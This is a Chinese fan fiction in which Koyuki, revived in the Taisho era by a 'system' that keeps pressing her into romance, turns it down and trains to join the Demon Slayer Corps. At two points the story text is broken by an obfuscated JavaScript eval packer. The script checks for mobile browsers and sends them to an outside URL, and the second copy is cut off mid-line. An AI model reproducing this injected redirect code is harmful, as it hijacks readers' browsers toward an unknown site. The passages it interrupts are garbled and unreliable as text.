《[鬼灭之刃/狛恋]重新攻略亡夫哥》 1. 宿主完成攻略后可兑换奖励 【检测到绑定对象。绑定对象:素山恋雪。】 “请问是谁在说话……是三途川的鬼差先生吗……” 她最后的记忆是,她喝下了混有砒霜的井水。血从她唇边源源不断地流下,父亲惊惶地抱起她,要带她去找医生。 但,父亲也摔倒了。 逐渐暗下的视线里,爸爸一头虚汗。爸爸他体魄强健,怎会因为抱起她便累得满头汗,甚至摔倒?是不是…… 【绑定对象已复活。绑定开始,宿主绑定进度50%……】 一团朦胧的光点出现在她眼前。 原来不是鬼差,而是掌管生命的天照大御神大人将她复活了。她踉踉跄跄地想站起来,她要去找父亲,还有—— 【请注意,系统并非神灵。】 咦? 接下来十分钟,这团光点一直追在她身后和她解释何为系统。 卧病在床的漫漫时光里,为了打发时间,她饱读群书,要理解它的话并不难。只是…… 黑暗中,她一边向前走着,一边回过头来,作双手合十状,露出一个抱歉的笑:“谢谢您给予了我再度的生命,但我现在有要紧的事情要做,您有什么吩咐的话可以拜托请等一等吗?我要去找我父亲和狛……” 忽然,黑暗消失了。 她的瞳,因为肺结核而呈梅花状。虚弱的双眼艰难地适应了光明。 俯瞰而去,山林外,是城下町绝不可能有的辉煌灯火。 【现在是大正时代,公元1917年,距离宿主所处的江户时代过去了一百多年。宿主的父亲素山庆藏和未婚夫狛治已不在世。】 一百多年。 父亲和狛治不在世了。 一瞬间,泪水如决堤般从她眼中滚落。 她想起来了。爸爸也喝下了有毒的井水。 狛治呢?去为亡父扫墓的他,回来看到她和爸爸已经……他该有多伤心和痛苦? 【宿主可以在本世界的主要人物中选择一名进行恋爱攻略,积累不同阶段的好感度可兑换奖励若干。】 【如遇可攻略人物,系统会发出提示,宿主可自行选择是否绑定该人物。】 【攻略人物绑定后将自动发放初始大礼包。】 那团光晕跟在她身后,犹自冷静地说着。 如果这个自称系统的天外之物可以复活她的话,那是不是爸爸妈妈和狛治也可以? 她声音颤抖:“攻略是指……友情方面的攻略可以吗?” 【不可以。】 “奖励可以再次让人复活吗?” 【不包含此类道具。】 “那可以让时光倒流吗?” 【不包含此类道具。】 【请注意,系统不复活除了宿主以外的任何人。】 【奖励通常包括:财富若干,顶级武器若干,珍稀药剂若干……】 冰冷的提示音接连在她耳畔响起,在山林中回荡。 心中的希望升起又破灭,她再支撑不住刚刚复生的、疲惫的身体,倚着一棵古木,艰难地往外吐着字句:“那您给的这些奖励,对我来说可能没什么用处。” 【机会难得,请宿主认真考虑。绑定本世界的主要人物进行攻略,你可以获得一位强大的伴侣,拥有奇妙历险、荣华富贵、崇高威望。】 “抱歉,我不渴求这些东西,我不需要荣华富贵、崇高威望。奇幻的历险如果不是和在意的人一起经历,也没有任何意义。” 她本想尽力礼貌地措辞,情绪却越来越激动。 “而且我不想绑定任何人,您怎么能让才知道爱人已经不在的我就这样去和别人‘绑定’在一起呢,除了他,我不会再爱上别人,我——” 但系统只是自顾自重复它的话语。 【机会难得,请宿主认真考虑。绑定本世界的主要人物进行攻略,你可以获得一位强大的伴侣,拥有奇妙历险、荣华富贵、崇高威望……】 强大的伴侣。 他很强。 对初次见面的病人便心怀慈悯,接下来三年,一直彻夜不息地照顾她,事无巨细,有求必应,从未有过一点怨言。他的心灵强大伟岸。 他就是世界上最强大、最可靠、最可爱的伴侣,她唯一的爱人。 “够了,请您不要再说了。” 恋雪不再理会它,扶着一棵棵古木,咬着牙,抹去眼泪,也抹去额上沁出的汗,漫无目的地往前走。只要能不再听见那所谓的“你可以获得一位强大的伴侣”,她便一直拖着病弱疲惫的身体往前走去,只想,只想摆脱那刺耳的声音。 直到,她气力用尽,倒在山间。 【宿主绑定进度75%……】 【宿主绑定进度90%……】 【宿主绑定进度100%,绑定已成功,宿主身上的病症已根除。】 * 记忆里城下町的白色城墙和城堡都已远去了。 旧领主的住地被推倒、平整,化入凡尘,变幻为城中的公园。沿途有茶屋、花店、果子店、珈琲室、木屐店、钟表店、汽车行,青空中高高的电线的森林,落满了叽喳的鸟雀。 热热闹闹,日新月异。 纸风车陈列在木架上,一行行,随熏风悠转,泛出五彩的光。 风车之彩光也映在一双梅花形的瞳中。 肉白骨,死复生,重返阳世一载岁月,身体也已经康复,她的眼睛却仍是“上一世”患有肺结核时梅花的形状。 “想买这个吗,恋雪?” “嗯,我买些风车带回去给村里的孩子们。春休前学校的大扫除,孩子们很努力地帮忙了呢,假期前的考试,大家的成绩也进步了。”木架前的少女回过头来,对同行的朋友道。 她正是素山恋雪。 容颜皎洁,但并非苍白。往昔的病容已经褪去,这雪白爽净的面容,宛如春日繁枝间的梨花,清新,明朗,光彩照人。百年前那场肺结核遗留下来的梅花形的瞳中,有明韧的光亮在闪烁。 同行的信子被她一双明眸注视着,有些不好意思地摸摸鼻子。 “如果每次考试都给他们奖励的话,会把孩子们宠坏的,上次已经买过糖果了。恋雪你就是太好心了。” 如此说着,渡边信子还是接过了手工艺品店铺老板用油纸包好的风车。 她们是仅有五十个学生的乡村小学的老师。 信子是校长的女儿,恋雪是忽然出现在学校后山上的、昏迷的异乡人。 出奇地,恋雪的国文造诣非常好,数学也不在话下。 “大约是因为以前久居病榻,只能读书解闷的缘故。我看了很多书呢,在寺子屋……啊,不是,在村公立教授孩子们国文和数学是完全没问题的!理科的话,我现在开始自学,我很感兴趣。”对校长母女递来过的橄榄枝,恋雪感激地接过了。 来自百年前江户时代的异乡人,就这样在大正时代居住了下来,晨练,早读,上课,写教学日志,下午带着孩子们到田间进行“理科初步课”,夜间油灯下批改作业,如此过去一天,过去一周,过去四季。 今天正是放春假的前一天,恋雪和信子到城中采买一些新学期要用到的物资,顺便到书店看看新出版的小学练习册如何。 是日已过,夕阳西下,玻璃洋灯亮起,缤纷。 这已经不是恋雪第一次到山外的城镇中来,但每次漫步在七宝琉璃般的夜色中,她都不免惊叹:时代变化得真快呀。 如果爸爸妈妈和狛治还在的话…… 西药传入,妈妈说不定不会因为她的病而绝望地去投河了。 剑道和柔道逐渐被引入学校教育中,凭爸爸的能力,一定能在中学兼职的,不用再为了支撑道场而四处打零工。 而且以现在的开放和社会福利水平来看,狛治肯定也不会在还是半大孩子的年纪,因为给生病的家人偷药而被纹上“罪人”的刺青。二人相恋的日子里,她总下意识捧起他的臂轻轻抚摸,左右各三圈深漆的刺青,常令她十分伤心。 百年前她的家,那座素流道场,她曾在暑假时乘坐火车前去寻觅它的遗迹。但穿过漫长的铁道,走过林翳的山岗,那里已经什么都没有了。 没有道场,没有她每日半倚的缘侧,没有爸爸,没有妈妈,没有与她同坐缘侧、沉默地注视着她的狛治,只剩一片看不到边的青草地。 就连向周围城镇的居民打听,也没有人知晓一百多年前的素流道场。一百多年前狛治回来之后发生了什么呢?渺无音讯。 是啊,都过去那么久了。 贸易、羁旅、天灾人祸、新城规划,无数的死亡和无数的新生,足以将一座城池颠倒,将广袤土地改写。只有她仍孤独地记着一百年前的往事。 一年来,那个名为系统之物依然不时在她脑海中出现,劝她“执行任务”。她一次次地拒绝着,甚至乎,觉得被它收回生命也无所谓。反正在重新降临到她身上的春夏秋冬里,这世间的风光她已经领略了不少了。 但它并没有再度夺走她的生命,只是告诉她: 【宿主如果改变主意可以随时召唤本系统。】 思绪间,城市的琉璃华彩退远,她和信子已经走到乡间的山道。 最后一柱路灯也在她们身后消失,今晚没有月亮,照亮着两个姑娘的,唯有她们手中的两盏油灯。 脚下是山间的小道,每天恋雪都会沿着这条山道晨跑,权当锻炼。从前,他也是这样日复一日地训练着,恋雪,我会变得比任何人都强,一辈子守护你,他这般说道。 逝者如斯夫,过去的日子,再也无法回来了。然而漫漫人生路,行行复行行。 漫漫人生路,行行复行行。今日吾亦往,重走此间路。那首在书店的新诗刊上读到的俳句,她仍不时想起。 她会带着家人的份,继续活下去。 重获新生的她一直记着他的愿望,并为此努力着。 他热衷于训练、磨砺,追求变强。 她也可以做到的。 虽然系统每次出现都是为了催促她找一个所谓的大人物绑定,言辞冷漠、无法沟通,但她依然感激着它给了她一具健康的身体。 身旁的信子道:“咦,恋雪,这条路是你平时晨练那条路吧。听村里的樵夫大叔说,每天他天还没亮就看到你在跑步,他还说,你的体力都快能和身为樵夫的他相比了。” 信子打趣道:“再这样锻炼下去,妈妈她说不定会请恋雪你把体育课老师也兼任了,你又能多领一份薪水了。” “诶,我来当体育老师可以吗?”恋雪惊喜地抬头,转而,脸上微微转红,谦逊道,“可是我对我现在的水准还不太自信,可能等我再磨炼半年会更……” “你还真想当体育课老师啊!真是的,你自请兼当数学老师就算了,还把理科初步也代课了,再教一门体育,我都怕你累晕倒,再好的身体也不能这样啊!而且……那样也太不淑女了,哪有女孩子当体育老师的。” 被朋友嘴硬心软地“教训”一番,恋雪声音细细的,微笑道:“凡事都要先试过才知道行不行嘛,世界发展得那么快,我们要多尝试新事物,我觉得女人当体育老师也很好呀。” “知道了知道了,你说起这些大道理的时候语气简直和妈妈一模一样。我的重点不是女人要不要当体育老师,是你要学会休息。” “真的吗?能和渡边校长相似,我很荣……” 说话间,二人离村子已经越来越近。 但恋雪忽然止住了声音。 “怎么了,恋雪?” “信子,村子的夜晚……会这么亮吗?是不是——”恋雪梅花形的瞳中倒映着渐渐燃烧起来的火光,“失火了!” 两个姑娘向村庄飞跑而去,袴裙长长裙摆在她们身后飘起。 然而传到二人耳中的,不止木屋噼里啪啦燃烧的声音,还有数声尖锐的嚎叫。 听起来不像猛兽,像是人声。但那声音之大,绝非人类的喉咙能发出。 尖啸,咆哮,怒嗥,如凶雷如狂风,向村子后的密密山林掠去。 诡异的嚎叫消失了,取而代之的是村民们惊慌失措的哭喊:“怪物,是怪物,有怪物来了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897376|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 几个正在救火的青壮回头看见恋雪和信子,忙叫住她们:“那个怪物抓走了很多孩子,渡边校长她——” 信子神色大变:“妈妈她怎么了?” “她带头和大家一起拿着灯进山找孩子们去了,猎户们、学校里的其他老师也去了!” 恋雪和信子对视一眼,也向山中赶去。 火把和油灯汇成的光亮,已经在漆黑的山林中若隐若现。 那怪物肌肉虬结,皮肤紫蓝,双目是血般的猩红,头生峥嵘犄角,形貌极其狰狞可怖,简直是浮世绘中的恶鬼。一如杀戮无数的恶鬼,潺潺的鲜血正从它利爪上滴落。 猎户持枪需要许可,村子里只有两把枪。 一把已经被那怪物玩弄般扭断,另一把掉落草丛之中。 两个经验丰富的猎人与这妖怪拼力搏斗,现下一死一伤。村民们也多数负伤,看着倒在血泊中的老猎户,众人浑身战栗着,止步不前。 无论用枪轰它的脑袋多少次,它的头颅都能再度长出。刀砍斧劈也没有用,力壮的年轻猎人勉强砍下它一臂,但怪物伤口处血肉涌动,缓缓地,居然又长出一条手臂来。 看见这群弱小的、蝼蚁般的人类,怪物得意地扬起一抹笑。 在怪物即将向孩子们的方向奔袭之际,渡边校长忙捡起地上的枪,对着那怪物再度射击。 猎枪的后坐力,不是一个从未经过射击训练的教书匠可以承受的。任是如此,她仍模仿着方才猎户的动作,咬牙连开了数枪。 “砰、砰、砰、砰——” 枪声在山林里回荡,后坐力震得渡边手臂发麻,虎口开裂,鲜血顺着枪身流下。 渡边是这个村子村公立小学的校长。从女子师范科毕业后,她便一直在这所村公立小学任教,即使当上了校长,还是担当着教职。村民们眼中,渡边校长真是一个贤智、文雅的女人,像过去住在武家城堡里的贵族夫人,有着数不尽的高尚知识,举手投足间都有一种优雅在流转。但此刻,为了她的学生们,她姣好的面容上青筋凸起,素日打理得一丝不苟的和服上全是泥尘和血迹。 怪物被连射数枪,猩红的眼珠不再追着孩子们,而是向那胆敢挑衅它的中年女人疾转而来。 短短一瞬间,几个埋伏在草丛中的年轻人已赶紧上前把孩子们抱起、带离。 然而那怪物也已闪现到渡边校长身前。 它的利爪在渡边藏青色襦袢上划出长长的血痕。 “妈妈——”信子大喊。 渡边校长胸前鲜血喷涌,已说不出话来,她的眼睛却奋力瞪视着一个方向—— 怪物打算转身朝孩子们逃跑的方向追去。 但子弹用完了。大家的刀也断了。 怎么办、怎么办? 千钧一发之际,有人出拳打到了那怪物的后心上。 “是恋雪老师,”方才被抱走的孩子正趴在哥哥姐姐和学校老师的肩上,目睹这极其英勇的一幕,瞪大了眼睛,甚至忘记哭泣,“恋雪老师好厉害!” 出拳的年轻女孩大口喘气,瞳孔颤抖。其实,她也十分害怕,此刻背上已全是冷汗。但想着要救孩子们,下意识地,她的身体引领着她打出了这一拳。 她的拳法是模仿着从前父亲和狛治的素流拳法。 从前身体稍微好一点,或者屋外的风稍微小一点,她能出行的时候,便会请求狛治背着她去观看他和父亲的对练。自从失去母亲之后,哪怕是小半天也好,她想多看一眼她的家人。 夕阳下,父亲和狛治使出的素流拳法,已经是永远无法磨灭的铭记于心的记忆。 来不及思索,她凭着那一瞬间的本能,半扎马步,又向那怪物击出一拳。 但这第二拳,却似乎与道场无关,而是仿效着忽然出现在脑海中的一道身影。 那朦胧的记忆,不是在道场中看着父亲和狛治训练。关于他们的记忆,她每一日都在心中重复,是永远不会褪色的。那迷蒙的光景,仿佛是在极其漫长的光阴里,她曾注视着一个人日复一日地出拳,直到月降日升,直到沧海桑田,百年过去。 那昙花般倏忽逝去的旧影是谁? 身前,怪物已经回头。 它猩红的眸中闪过一丝惊讶,一个小丫头,竟然会拳脚,还能打中身为鬼的他? 怪物邪笑,呼吸喷出腥气,再度抬手。 山风过耳。 仿佛有罗盘指引恋雪,带着她预判了怪物的出击一般,她立刻弯腰,试图躲避怪物挥来的利爪。 但她到底是肉体凡胎,即使事先预判,身体的速度也只能勉强跟上她的灵犀一闪——鲜血洇出,恋雪的背上被那怪物划了一道。 虽然躲过了要害,但好痛。 糟了,身体的速度变得更慢了。如果这时候那个怪物再进攻一次的话,她…… 幸好信子及时拉住她的手,一把扯开她,堪堪带她躲过怪物的又一击。 这短短一分钟的拖延,足以让带着孩子的那一群人身影消失在山林中。 “恋雪,你疯了!你不要命了吗,你……”母亲流血不止,朋友也身负伤痕,信子眼中早已泪花涌动。 村民见恋雪一个弱女子竟敢赤手空拳和那怪物搏斗,须臾的寂静后,人群中爆发出数声呐喊,众人纷纷捡起断折的刀器,再度朝那怪物冲去。 “恋雪、信子小心!” “和它拼了!” 钝刀砍在怪物身上,火把砸在它的头颅上,虽然都无法造成致命伤害,却也暂时阻拦了它的动作。怪物被这些团结一心的凡民激怒,喉中发出模糊的人音,像是在咒骂:“就凭你们这些蝼蚁,也想……” 忽然间,一道锋利的刀光闪过。 淡蓝的刀光,如蜿蜒海龙。 怪物还保持着暴怒的姿态,头颅却已经从脖颈上滚落,滚到地上发出沉重闷响。 “该死的、该死的猎鬼人!”它犹在不甘地嘶吼,但狰狞的头颅和山般的身躯已逐渐化灰,消散于泥尘间。 一个面无表情的男子站在那如海浪般的刀光后。 2. 加入鬼杀队吧勇敢的恋雪 砍下恶鬼头颅之人名为富冈义勇。 他是鬼杀队成员,循着恶鬼气息而来,一剑将那怪物的头颅斩下。 当然,关于鬼,关于鬼杀队的一切,不是薄唇只是面部装饰品的富冈义勇说的,而是跟着他的其他鬼杀队成员。 万幸,那几名背后绣着一个“隐”字的成员救下了渡边校长和受伤的村民。 鬼杀队本部距离村子太远,隐的成员先将伤者送到了城中的医院。 恋雪的伤口经过简单处理,现已无大碍,正在病房外走廊和几名鬼杀队成员交谈。 “富冈前辈很厉害,大家都说他很快就要晋升成柱了吧。” “请问柱是?” 看着恋雪花树堆雪般面容,那名鬼杀队成员有点羞涩地转过头去,别别扭扭地解释了柱和十二鬼月的存在。 一直正襟危坐在走廊长椅上的义勇向恋雪看来:“你没有受过训练,但能预判鬼的姿势。” “哎?” 能预判鬼的姿势,然后……?呃,这位富冈先生说话似乎只爱说一半呀。恋雪的弯眉略成八字。 富冈先生或许是好奇一个小学国文教师怎么会拳术吧。 想罢,她仰起自豪的笑脸,答道:“我的父亲和外子是经营道场的,我记得一些他们的招式。预判对手的攻击,大概也算武术的修养之一吧,我可能是耳濡目染领悟了一点点。” 不不不,只是会武术的话,不至于能预判鬼的姿势吧,而且只是看着父亲和丈夫的练习就学会如何预判别人出击的话……方才那名鬼杀队成员终于捕捉到某个词汇,大震惊:“咦咦咦,外、外子,素山小姐有丈夫?!” 一时间,他不知是该震惊于恋雪完全是个武术天才、天选猎鬼人,还是该震惊于恋雪英年早婚。 恋雪道:“是,我和外子成婚比较早。不过……外子和父亲,他们都已经不在了。” 气氛一时有点沉重。 恋雪忙将眼底泛起的落寞敛去,笑道:“没事,他们要是知道我能用家中的武道帮助别人,一定也会为我欣慰的。” 尽管昨晚的第二招并非素流的招式,但冥冥中,她总觉得它和素流也有异曲同工之处。 “原来如此,你未经实战,仅靠观察就能运用武术。” “你想加入鬼杀队吗。”长椅上神色淡漠的男子又道。 问句说得像陈述句一样。 啊这……一旁的鬼杀队队员已在腹诽,富冈前辈,虽然素山小姐很有天赋,但人家刚刚才说她的家人已经去世,就这样一点委婉的慰问都没有直接劝她加入鬼杀队真的好吗,这也太爱招新了吧…… 义勇似乎完全看不懂那名师弟的眼色,当然,也有可能他根本没察觉对方在对他使眼色。 他俊美的眉目纹丝不动:“想加入鬼杀队的话,就去狭雾山拜访一位叫鳞泷左近次的老人吧。” 别人还没同意呢富冈前辈你怎么就让别人去找培育士了!鬼杀队师弟的内心已然抓狂,完了,富冈前辈要被素山小姐讨厌了,被认识第二天的人讨厌的话,富冈前辈的被讨厌战绩又要刷新了吧…… 对面,白日的天光清新如水,洒落在恋雪明净面容上。 她脸上蕴着柔和笑意,似乎完全不觉得义勇的话冒犯。 那位文静内敛的小姐轻声应道:“富冈先生,谢谢您提供的信息,我大概了解了,我会认真考虑的。” 其实在富冈先生出现时,系统就已在她脑内叮叮响个不停,一直提醒她富冈先生是可攻略角色。 【可攻略人物已出现,宿主是否绑定富冈义勇?】 【可攻略人物已出现,宿主是否绑定富冈义勇?】 【可攻略人物已出现,宿主是否绑定富冈义勇?】 她不胜其扰,连说了三句,谢谢,不用。 要在脑内响个不停的叮叮声下依然对外保持得体的笑容,实在太不容易了。 富冈先生很厉害,瞬息便斩下了鬼的头颅,一剑飞来,天外白龙。比起所谓的攻略,她内心的小人悄悄握拳——她更想向他看齐。 似乎察觉到眼前的少女燃起某种斗志,义勇古井无波的蓝眸微微动了动。 不过,这种用显微镜也难以捕捉的微表情在别人眼里是约等于无的。 天啊人家说话都这么给你面子了,富冈前辈你好歹、稍微地、哪怕是随便地,客套几句呢…… 跟在他旁边的鬼杀队师弟终于忍无可忍,对恋雪致意道:“感谢素山小姐考虑前辈的建议,我们很期待素山小姐的加入!”他们鬼杀队真的不都是富冈前辈这种恃脸无言者、人际关系半脱离者啊—— * “恋雪,你真想去加入鬼杀队?” 信子坐在渡边校长的病床前,为母亲削着苹果。 “是,我认真考虑过,决定了。”恋雪接过她削好的苹果,切块装到小玻璃碗中,放在床头。 过了半晌,信子才闷闷地道:“我们不是约好了要一起考女高师吗。” 女高师是东京女子高等师范学校。 信子是女高师附属学校的学生,因村子里师资缺乏,她毕业后暂时回来当了两年老师。原本,恋雪和她约好明年一起备考女高师本部。 “听说鬼杀队里的成员很多都会在二十多岁退役,现在二十岁才考大学的学生也不少呀。” “到时候,我可就管信子叫学姐了。”她挽起信子的手。 “唉,你真是……” “鬼杀队的本部要是在东京,以后你就常来找我玩。不在东京的话,你就抽空来找我玩好了,我带你去逛女高师的图书馆——”她勉强露出一点笑意,“一直打打杀杀很快就会将书本上的知识忘光了,这可不行。” 看着恋雪和女儿,病床上的渡边开口道: “恋雪,鬼杀队的工作很危险,我想听听你为什么要加入鬼杀队。” 听见母亲的话,信子脸上强撑起来的笑容消失了,迅速别过头去。 她眼中有隐约的泪光。 是,鬼杀队的生活很危险。即使他们的成员救下了妈妈和村子,她对他们心怀敬意和感激,也无法否认这一点。 谁愿意看到朋友身涉险境? 恋雪坐在病房陪护的椅子上,放在膝盖的拳头轻握一下,开口道: “先父和外子拥有强悍的武术,并一直用他们的能力守护着我和周围的人,我也想延续他们的道路。” “恋雪,这是你父亲和丈夫的遗愿,还是你自己的意志呢?”渡边思索再三,徐徐道来,“每个人都有自己的人生。我的言辞可能有些不当,但……恋雪,你是一个很有才能的孩子,不要困在故去家人的影子里。” “渡边校长,这既是他们的遗愿,也是我自己的意志。” “以前我看见弱者遭欺凌、无辜者受辱,心中十分难过。曾经我卧病在床无法为大家做点什么,如今有一个新的机会在我眼前,我想把握这个机会。”一百年前的江户时代,武士斩舍御免,对平民随意欺压,她卧床时每每听闻街坊邻里中又有谁遭欺凌压迫,常揪心不已。 “原来是这样。”渡边颔首。 若非有这种品格,这个年轻人也不会在那怪物突袭时挺身而出了吧。 渡边校长一直梳着一个严整的古式发髻,优雅中带着威严。因为住院,那发髻才松松放下,还原成夹着几缕灰白的长发。一头披肩的直发将她的端庄调匀,多了几分柔和。 她莞尔,对恋雪道:“既然你已经下了决心,学校和村子里的大家都会支持你。” 恋雪闻言感激地朝渡边重重一点头,目光转向身旁的信子。 “信子,不用为我担心。你不是说连村里的樵夫大叔都自觉比不过我的体力么,我可是道场家的女儿。”难得地,她做了一个俏皮动作,弯举一臂,在上臂轻快一拍,只听得微微韧响。 她一直优娴文雅,举止如同古典的闺秀,少有如此调皮的动作。信子被她逗得一笑,轻轻将泪拭去。 临走前,恋雪不忘趁春休挨个家访班上的学生。终于,到了她出发去拜访那位鳞泷先生的时候。 清水流,柳树荫。 村落被连绵的冈丘和树林环抱着,时代之色改变,大正的乡间流行栽种桃李果田,麦田中又爱穿插菜花、紫云英,春气渐长,远望古森林春光洒落,近看青田也是杂花如锦,如同浮世绘里的淡彩。 渡边对她说,既然她已离职,便提前把夏季奖金给她。 但那信封绝不是夏季奖金应有的厚度。太过厚实,握在手中沉得坠手。 “校长,这信封我不能……”恋雪双颊涌上一点红潮,想取出其中已远超夏季奖金的钱。 “没关系,收下吧,是村子里的大家一起为你出的。” 渡边的身后是本村的男女老少。 乡间的小路上,站满了来为她送行的村民。 恋雪用力握着信封,眼泛泪花。 “谢谢大家,我一定会加油!”她猛地低头,向相处一年多的乡亲们深深鞠了一躬。 如果她能成功加入鬼杀队,猎鬼的赏金她会先寄回来为村子买农机,为村小学换新的桌椅,铺新的木地板…… 孩子们围着她,一直送她到山脚下。 去年冬天她从城里的书店带回来许多诗刊,偶然翻到一首极美的小曲。不知何故,此后她便时不时哼唱起它来。大约是因为它实在很美,前半段萦着淡淡的寂静的忧愁,后半段又将洁白的希望托起。 而且这可是迅速在全国流行开来的歌曲,孩子们的美育要跟上大城市! 于是,那冬日,领着孩子们放学归家的路上,她在落满白雪的田埂上教授了这支童谣。 此刻孩子们手拉着手在春天的山林间唱响的,正是那悠然的旋律: “将忘却歌唱的金丝雀, 带到象牙船上,荡起银制的桨吧。 若是漂浮在月夜的海面上, 它定会想起遗忘的歌。” * 狭雾山在外县,幸好新时代的铁道四通八达。 火车和铁道是她最喜爱的新事物之一。短短一日甚至半日,便可抵达雪山、大海、旷野。而且火车的发明又在民间派生出许多可爱的传说,譬如狸猫会模仿火车的声音在夜间奔跑。过去卧病的时候,她便很爱阅读这些民间的奇闻,如同寻宝。 铁路不通的地方,她用脚步去丈量。 草屋前,尽管隔着红天狗面具,她也能感受到鳞泷先生在看她的眼睛。 “义勇已经和我说了你的事情,但你以前得过肺结核吧。” “是,不过我已经痊愈了,这不会影响我的训练的。” 又听恋雪托出她想加入鬼杀队的理由,鳞泷沉吟半晌:“原来你是道场家的女儿。不过我先告诉你,鬼杀队杀鬼一般是用日轮刀,用拳头杀不死鬼,你父亲的武技大概只能作为辅助了。” “请问打造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他能闻到她身上坚定的气味。如果是她,或许这一次不会再有牺牲,她能破除藤袭山对水之呼吸弟子的诅咒也说不定。 远处竹林中。 “前辈,你们是在鬼杀队的假期里专门回来指点一下我吗?”中场休息时刻,放下剑,恋雪问坐在巨石上的狐面具少年。 远山渐染金橙暮色,狐狸面具也被夕阳点染一缕神秘的色彩。 关于剑术与水之呼吸,对方一直有问必答。 但这个问题他却没有回答她。 恋雪以为他没听见,又重复一次:“前辈,我很谢谢你们总抽空来和我对练,我学到了很多。” 还是沉默。 这,总觉得水之呼吸的师兄们,似乎都不太擅长和别人沟通呀…… 一旁的真菰故作叹气:“唉,锖兔他有时候就这样,都怪义勇把他带坏了。” “我都让他不要老是去看义勇啦,现在和义勇一样越来越爱装深沉和装神秘了。算了,由我来陪你再练习一次吧小雪。”真菰举起手中的剑。 “我没有装深沉和装神秘,我只是在训练的时候稍微严肃一点,真菰你……”一向落拓地坐在巨石上的少年,终于忍不住开口反驳。 “哈哈,是呀,我觉得锖兔前辈比起富冈前辈还是开朗很多的。”对练多日,恋雪早已和二人建立友情,顺着他们的话小小打趣了一下。 锖兔戴着面具,看不清面容,但听声音很是年少,真菰则明显是个十三四岁的女孩。二人比她年轻,却已经是加入鬼杀队的前辈,恋雪心中对他们十分敬佩。 “好,请真菰前辈多多指点我,”恋雪重新握住了剑,因终日训练而风尘仆仆的脸上泛出微笑,“等我加入鬼杀队,也会这样在有空的时候回来看望和指点后辈们的。” 锖兔的面具下传来一声轻柔淡笑。 真菰停顿片刻,也笑着点了点头:“嗯,以后水之呼吸的后辈,小雪也要出一份力引领他们哦。” “我会的!” 恋雪扬起木剑,纯熟地使出水之呼吸十之型,生生流转—— 生生流转,生生不息。 倘若没有发生那个意外,狛治大约也会这般英姿勃发地,在道场中教导着一代代的后辈吧。 不,她相信,即使是在那个意外之后,他也一定有振作起来,重新打开道场的大门,迎接新的弟子,新的一天。 无人记得素流道场,或许是因为武术在过去的一百多年间很是没落。与素流相似的柔术被整合成柔道重新推广,也只是近二三十年的事情……一定是这样。 日子一天比一天充实。 她很喜欢这样的生活,有时彻夜训练至日出,下山的路上,她极目远方,一整个苍莽的山林与广阔的、新生的世界在她眼底铺展开来。 山中遥望日出,她眼中莫名地泛出一点泪光。是为这自然造化而感动,还是遗憾于往昔和她一起看日出的人都已不在? 忽然一阵晨风吹来。 悠悠的初熹的风,像一双宽厚的手在背后轻轻推了她一下,将她推向渐渐灿烂起来的广阔天地。 恋雪一愣,连忙回头。 身后什么人也没有,只有朝阳的光尚不及之处,阴影中无言的高峨的松。 她想将眼泪擦去,笑起时,却仍是带了一点泪花。 道场家的女儿含笑点了点头,再三回首之后,转身和晨曦的阳光一同离去。 终于有一日,金石为开。 竹林里的巨石裂为两半。 石破之时,锖兔和真菰的笑影在她眼前消散了,神隐入渺渺雾中。 3. 亡夫哥袭来(上) 狭雾山又迎来了它的新学生。 听见脚步声自竹林传来,灶门炭治郎下意识以为是鳞泷先生。 不对,这个脚步声轻很多。气息也不一样。来人气息清盈静谧,如花柔如水流。 【可攻略人物已出现,宿主是否绑定灶门炭治郎?】 【请注意,该人物前程不可限量,优先推荐宿主攻略。】 恋雪深吸一口气,实在没忍住,当场义正言辞地,在内心将这名为系统之物狠狠地谴责了一遍—— 这个后辈看起来不过十四五岁,她作为成年人去攻略一个十四五岁的孩子?先不说于情于理,于法,这就是犯罪吧! 自从她加入鬼杀队后,所遇的优秀男性女性,系统都会催促她快些用性缘和他们连接起来。它是完全无法理解人和人之间可以有互相扶持的真挚情感、有生死交托的深刻友谊么? 年初,她和炼狱先生一起击杀了下弦鬼,因此晋升为甲级队员。上次柱合会议结束后柱们私下的小聚,炼狱先生顺势将她介绍给了其他柱。 那天晚上她简直是被系统在脑海里狂轰滥炸。 【炼狱杏寿郎与宿主相处已久,建议宿主绑定该可攻略人物。】 【甘露寺蜜璃与宿主相处已久,建议宿主绑定该可攻略人物。】 【可攻略人物已出现,宿主是否绑定宇髄天元?】 【可攻略人物已出现,宿主是否绑定时透无一郎?】 ……它报菜名般报完一个个人名,又倒回来把九位柱的名字重新播报一遍,如此循环三四次,完全是魔音贯耳。和柱们交谈时,她被它吵得险些没接上话。 现在,它还催着她去攻略一个十四五岁的水之呼吸师弟。 内心世界再汹涌,她仍凭强大的定力维持着得体笑容,上前与炭治郎打了个招呼。 “您是?”炭治郎反应过来,“您是鳞泷先生提到过的素山小姐吧!” 素山恋雪,那位在藤袭山里击败了一直猎杀水之呼吸弟子的手鬼的师姐。 “是,我最近有假期,回来拜访一下鳞泷先生。灶门君,你的名字我也听鳞泷先生说了,他说你很有潜力。” “是、是吗!”炭治郎有些不好意思地挠挠头,似乎没想到鳞泷先生会和素山小姐称赞自己。 恋雪的眸光微微一转,望向竹林中那巨石。 “灶门君,你平时总是一个人训练?” “没有没有,锖兔前辈和真菰前辈也会帮助我。” 原来她那两位朋友依然眷恋着此处。 恋雪走到巨石面前,轻轻拍了拍这顽石,眉目敛下,道:“好怀念,从前鳞泷先生也是让我劈开一块巨石,也是锖兔和真菰前辈从旁指点着我。” “这石头上已经有裂纹了呀,看来灶门君你很快就能出师了。”转过头,她对炭治郎温柔地一笑。 炭治郎脸上微红:“还差一点,我的呼吸法还需要更精进。” 